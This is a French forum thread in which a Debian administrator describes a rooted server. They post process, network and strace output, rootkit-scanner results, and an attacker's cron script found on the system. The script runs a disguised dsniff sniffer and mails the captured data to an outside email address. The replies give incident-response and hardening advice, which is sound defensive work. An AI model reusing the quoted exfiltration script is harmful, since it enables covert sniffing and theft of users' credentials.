Ma debian rooté : Que faire ? - réseaux et sécurité - Linux et OS Alternatifs
Marsh Posté le 29-11-2005 à 20:22:54
la seule solution c'est la réinstallée pourtant
tu ne peux pas etre certain que d'autre modification n'ont pas été faite
Marsh Posté le 29-11-2005 à 20:44:11
Essaye de mettre a jour ton kernel ou d en compiler un autre, check les daemons dans les differents runlevel, change de mot de passe . Pour la prochaine machine , rester sur cette machine compromise n est pas realiste, pense a ameliorer ta politique secu certains tools peuvent aider ( Aide , tripwire, IDS avec snort et autres outils pour verrouiller toutes compile kernel ...) ... et mesures de secu habituelles liees a ton O.S .
Slts
Guillaume
Marsh Posté le 29-11-2005 à 20:47:57
Comme je le disais dans le post précedent j'ai bien passé chkrootkit et rkhunter sans succes ...
Marsh Posté le 29-11-2005 à 21:26:21
Tu trouveras des conseils utiles dans le manuel de sécurisation Debian :
---> http://www.debian.org/doc/manuals/ [...] ex.fr.html
Je pense que le plus sage est de faire table rase en réinstallant à partir de zéro un nouveau système (veille à utiliser l'actuelle Debian stable -version 3.1r0a Sarge) et en définissant une meilleure politique de sécurité que celle utilisée jusqu'ici (apparemment insuffisante) ; le manuel en lien ci-dessus te donnera une très bonne base pour la définir au mieux. Quelques règles d'or à retenir en vrac : toujours garder sa distribution à jour (versions de paquets, mises à jour de sécurité), utiliser des mots de passe complexes (alphanumérique avec casse et signes de ponctuation de huit caractères minimum), installer des outils pour renforcer la sécurité (firewall -iptables, IDS -Snort, audit -logcheck, hardening-tools -SElinux, etc), se limiter au strict nécessaire pour l'installation de paquets, restreindre les permissions et droits d'accès sur les systèmes de fichiers, etc.
Marsh Posté le 30-11-2005 à 08:52:49
même si effectivement, le mieux est de réinstaller completement et mettre
tes services à jour. on peut donner quelques pistes.
tout d'abord usuellement, les commandes de /bin, /sbin, /usr/bin, /usr/sbin
sont touchées (ps, ls, netstat, ifconfig, top, pstree, lsof...).
bref, un 1er reflèxe que j'ai après une réinstalle-config est de faire une copie saine
des répertoires suivant dans un autre répertoire ou partition genre /mnt/safecopy:
/bin
/boot
/etc
/root
/sbin
/usr/bin
/usr/sbin
/var
je demande à webmin par exemple d'utiliser les copies de commandes dans mon repertoire /mnt/safecopy
au moins, je suis a peu près sur d'avoir une sortie correcte (surtout les ls -al pour detecter
les repertoires cachés ".trucsmuches" ).
en cas de pb détecté : je commence déjà par remplacer toutes les commandes par les "safe"
(et souvent faire un chattr -aA pour pouvoir remplacer car elles sont souvent bloquées à ce niveau)
et voir si les /etc/rc.d/init.d n'ont pas été touchées sinon remplacement direct (en cas
de reboot c'est toujours mieux).
il faut aller voir dans rcinit si ya pas quelquechose qui demarre et parfois inittab aussi.
à partir de la, on peut essayer de fouiller pour voir comment le p'ti malin s'est introduit :
souvent regarder dans /tmp, /lost+found, /var/lib, /lib/security, /dev, renferment des dossiers
cachés avec des scripts & sniff à la c@&
il faut verifier ton fichier /etc/passwd si un user ne s'est pas ajouté
regarder les log attentivement ==> envoyer à un abuse@fai-de-l-ip.tld
et ensuite, on réinstalle et on met a jour le service qui a été défaillant
et on refait des copies "safe" des commandes...
le mieux est d'en profiter pour changer de distrib. ou de version.
Marsh Posté le 30-11-2005 à 11:56:51
J'ai trouvé un autre indice :
un fichier shup.h dans /usr/include etait en executable ... c'est un binaire surement une bckdoor (la copie de syslogd{espace}), je l'ai effacé et redemarré le pc, visiblement syslogd ne se reinstall plus ..
Marsh Posté le 30-11-2005 à 12:01:34
juste comme ça, ça ne t'aurais sans doute pas aider:
nosuid,nodev,noexec ce sont des attributs vachment bien. On peut mettre les 3 pour un /tmp, nosuid,nodev pour quasiment tout.
Marsh Posté le 29-11-2005 à 20:09:16
Je me suis apercu que ma debian s'etait fait rooter . J'ai amassé
quelques preuves :
tout d'abord j'ai touvé dans le repertoire /home/client des fichiers
permettant de se connecter a
ebay via lynx .... ayant les droits root :| (cela m'a mis la puce a
l'oreille)
J'ai commencé à chercher :
il y a un faux syslogd qui s'appelle en réalité syslogd{ESPACE} qui
tourne :
----------------------------------------------------
leguenr@buroplanetc/rc1.d$ ps -eaf
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 17:34 ? 00:00:04 init [2]
root 2 1 0 17:34 ? 00:00:00 [kflushd]
root 3 1 0 17:34 ? 00:00:00 [kupdate]
root 4 1 0 17:34 ? 00:00:09 [kswapd]
root 5 1 0 17:34 ? 00:00:00 [keventd]
daemon 108 1 0 17:34 ? 00:00:00 /sbin/portmap
root 132 1 0 17:34 ? 00:00:00 udevd syslogd
**?*.*??*???? !!!
root 206 1 0 17:34 ? 00:00:00 /sbin/syslogd
root 209 1 0 17:34 ? 00:00:00 [klogd]
root 213 1 0 17:34 ? 00:00:00 /usr/sbin/named
root 216 1 0 17:34 ? 00:00:00 /usr/sbin/lwresd
-----------------------------------------------------
le pstree le montre bien en m'affichant :
------------
syslogd
syslogd\040
------------
lorsque je le lance en tant que simple user :
--------------------------------------
leguenr@buroplanetc/rc1.d$ "/sbin/syslogd "
[sebd]-> starting
error: you need to be root (your uid: 1001) to run me
--------------------------------------
en root :
--------------------------------------
leguenr@buroplanetc/rc1.d$ sudo "/sbin/syslogd "
[sebd]-> starting
[sebd]-> checking uid...OK (uid=0)
[sebd]-> Killing pid: 132
[sebd]-> forking...OK (pid=14920)
[sebd]-> writing pid file..OK (/usr/share/pci.r)
[sebd]-> faking the proccess name..OK (udevd)
--------------------------------------
en faisant un strace sur le fichier j'obtiens :
--------------------------------------
.....
socket(PF_INET, SOCK_RAW, IPPROTO_TCP) = 3
fork() = 14925
brk(0) = 0x8055084
brk(0x8076084) = 0x8076084
brk(0) = 0x8076084
brk(0x8077000) = 0x8077000
open("/usr/share/pci.r", O_RDONLY) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=6, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS,
-1, 0) = 0x40019000
read(4, "14920\n", 4096) = 6
write(1, "[sebd]-> Killing pid: 14920\n", 28[sebd]-> Killing pid: 14920
) = 28
kill(14920, SIGKILL) = 0
.....
-----------------------------------------
en faisant un netstat -an je trouve ca :
--------------------------------------------------
leguenr@buroplan:~$ sudo netstat -anp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address
State PID/Program name
tcp 0 288 10.0.0.5:22 195.221.228.2:59372
ESTABLISHED14932/sshd: leguenr
tcp 0 0 10.0.0.5:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 10.0.0.5:139 10.0.0.7:4889
ESTABLISHED2907/smbd
tcp 0 0 0.0.0.0:670 0.0.0.0:*
LISTEN 912/rpc.statd
tcp 0 0 0.0.0.0:22 0.0.0.0:*
LISTEN 883/sshd
tcp 0 0 127.0.0.1:3306 0.0.0.0:*
LISTEN 421/mysqld
tcp 0 0 0.0.0.0:25 0.0.0.0:*
LISTEN 276/exim3
tcp 0 0 0.0.0.0:20012 0.0.0.0:*
LISTEN 282/
tcp 0 0 0.0.0.0:139 0.0.0.0:*
LISTEN 240/smbd
tcp 0 0 127.0.0.1:953 0.0.0.0:*
LISTEN 213/named
tcp 0 0 127.0.0.1:53 0.0.0.0:*
LISTEN 213/named
tcp 0 0 0.0.0.0:111 0.0.0.0:*
LISTEN 108/portmap
udp 0 0 10.0.0.5:53 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:1026 0.0.0.0:*
2907/smbd
udp 0 0 10.0.0.5:138 0.0.0.0:*
236/nmbd
udp 0 0 10.0.0.5:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:667 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:664 0.0.0.0:*
912/rpc.statd
udp 0 0 0.0.0.0:68 0.0.0.0:*
266/dhclient
udp 0 0 127.0.0.1:921 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:138 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:137 0.0.0.0:*
236/nmbd
udp 0 0 0.0.0.0:1025 0.0.0.0:*
216/lwresd
udp 0 0 0.0.0.0:1024 0.0.0.0:*
213/named
udp 0 0 127.0.0.1:53 0.0.0.0:*
213/named
udp 0 0 0.0.0.0:111 0.0.0.0:*
108/portmap
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
14925/udevd ****** me parait louche
raw 0 0 0.0.0.0:1 0.0.0.0:* 7
-
raw 0 0 0.0.0.0:6 0.0.0.0:* 7
-
Active UNIX domain sockets (servers and established)
---------------------------------------------------------------
le fichier pci.r contient :
-------------------------------
leguenr@buroplan:~$ cat /usr/share/pci.r
14925
-------------------------------
un pid visiblement ...
j'ai passé chkrootkit : tout ok sauf :
--------------------------------------------------
Checking `lkm'... You have 2 process hidden for readdir command
You have 2 process hidden for ps command
Warning: Possible LKM Trojan installed
--------------------------------------------------
passage de rkhunter -> tout ok ! sauf :
--------------------------------------
* Application version scan
- Exim MTA 3.36 [ Unknown
]
- GnuPG 1.0.6 [ Old or
patched version ]
- Bind DNS 9.2.1 [ Unknown
]
- OpenSSL 0.9.7e [ OK ]
- Procmail MTA 3.22 [ OK ]
- OpenSSH 3.8.1p1 [ OK ]
--------------------------------------
J'ai aussi trouvé : un cron dans /etc/cron.daily/dnsquery
ce fichier contenait :
--------------------------------------
root@buroplanroot# cat dnsquery
#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail dumycs@yahoo.com -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
---------------------------------------
pour information le fichier popauth en question etait un dsniff
le repertoir /usr/share/misc n'existe pas du moins pas vu de mon ls
il y'a pê un rootkit qui masque ce repertoire.
J'en suis la, j'ai killé les processus syslogd{ESPACE} et je l'ai
effacé mais
il est réapparu apres avoir rebooté. J'ai tenté de faire un
rapprochement
sur les dates de modification des fichiers mais il semblerait que
celles ci ait été modifiées.
J'ai retrouvé popauth et dnsquery avec comme user et group : 501.
cela m'a permit de faire un "find / -gid 501" pour trouver ces indices
! Bref,
Que dois-je faire ? La reinstallation complete n'est pas possible, du
moins pas pour l'instant
car je n'ai acces à cette machine que par ssh. Les données
compromises n'ont pas grande valeur
mais j'aimerai bien en savoir plus sur le comment !
Merci d'avance pour les informations que vous pourriez eventuellement
me donner